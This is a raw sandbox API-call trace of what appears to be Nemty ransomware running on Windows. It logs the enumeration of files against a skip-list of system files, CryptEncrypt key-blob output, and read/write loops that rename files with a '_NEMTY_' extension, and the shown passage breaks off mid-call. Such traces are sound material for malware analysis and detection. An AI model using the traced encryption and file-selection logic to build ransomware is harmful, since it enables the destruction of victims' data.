SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.431] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.441] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.441] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.441] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.450] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.450] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.460] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.460] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.470] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.470] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.479] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.479] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.479] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.501] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.501] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.507] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.513] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.513] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0127.513] CloseHandle (hObject=0xffffffff) returned 0 [0127.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0127.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0127.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0127.513] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0127.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0127.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0127.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340478 [0127.513] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0127.513] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0127.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0127.514] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_up.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_up.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_up.png._nemty_kgobjgd_")) returned 0 [0127.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0127.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0127.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0127.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0127.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0127.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0127.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0127.514] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x862b3fa9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x862b3fa9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29714061, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x406b, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="base-docked.png", cAlternateFileName="")) returned 1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2=".") returned 1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="..") returned 1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="...") returned 1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="windows") returned -1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="$RECYCLE.BIN") returned 1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="rsa") returned -1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="NTDETECT.COM") returned -1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="ntldr") returned -1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="MSDOS.SYS") returned -1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="IO.SYS") returned -1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="boot.ini") returned -1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="boot.ini") returned -1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="AUTOEXEC.BAT") returned 1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="ntuser.dat") returned -1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="desktop.ini") returned -1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="CONFIG.SYS") returned -1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="RECYCLER") returned -1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="BOOTSECT.BAK") returned -1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="bootmgr") returned -1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="programdata") returned -1 [0127.514] lstrcmpiW (lpString1="base-docked.png", lpString2="appdata") returned 1 [0127.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-docked.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0127.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-docked.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="base-docked.png", lpUsedDefaultChar=0x0) returned 15 [0127.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0127.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-docked.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0127.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-docked.png", cchWideChar=15, lpMultiByteStr=0x653ebd0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="base-docked.png", lpUsedDefaultChar=0x0) returned 15 [0127.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0127.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-docked.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0127.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-docked.png", cchWideChar=15, lpMultiByteStr=0x653ec20, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="base-docked.png", lpUsedDefaultChar=0x0) returned 15 [0127.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-docked.png", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0127.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="base-docked.png", cchWideChar=15, lpMultiByteStr=0x653ec58, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="base-docked.png", lpUsedDefaultChar=0x0) returned 15 [0127.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0127.515] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0127.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0127.515] Sleep (dwMilliseconds=0x5) [0127.538] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xffa8cd50, dwHighDateTime=0x1d561e7)) [0127.538] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xffa8cd50, dwHighDateTime=0x1d561e7)) [0127.538] GetLastError () returned 0x5 [0127.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0127.538] GetLastError () returned 0x5 [0127.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0127.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0127.538] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0127.538] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0127.538] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0127.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0127.538] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="owxUwZ5Bo2eMiJlJuR1Q3RGJF9iXwkLrfEdVAdK8C0jPogfl02cu3IG4WOczKTRE\r\nr0PZWuAUwzzd5CZLFXhRppOb0XCl1yRg3RikMpWImylRVpeWuyUv/WZ19B9QfVQY\r\nVAPtyVCFJwm4kv5V4h1wAqPhw7GWVgzPoqIz04KCHPQhQ3SztpGOeGsNP7r2aVFt\r\n8+mhW32q0ER8/rN6KCEJs9GP/zonSVQs0S1LVW2ws4hIWJ9OLBtU+9aF8IuXBxgT\r\nne1fwvjW6uNmB8AGFh3BTbrEpiniFlTgFPomVTx16Net8J1Kgd8obvaucCJOZFVz\r\nNRVRURW6QIT9r3+ZWHm70w==\r\n", pcchString=0x653e91c) returned 1 [0127.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0127.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0127.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0127.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0127.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0127.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0127.538] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\base-docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\base-docked.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0127.539] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0127.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0127.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.539] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.548] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.548] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.558] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.558] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.567] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.567] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.576] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.576] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.585] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.586] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.604] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.604] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, 